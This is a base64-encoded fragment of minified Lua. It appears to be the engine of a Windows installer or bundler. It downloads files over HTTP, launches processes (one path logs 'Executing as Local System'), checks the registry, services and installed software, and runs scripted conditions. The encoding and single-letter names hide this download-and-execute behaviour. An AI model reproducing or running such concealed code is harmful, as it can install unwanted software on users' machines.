PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
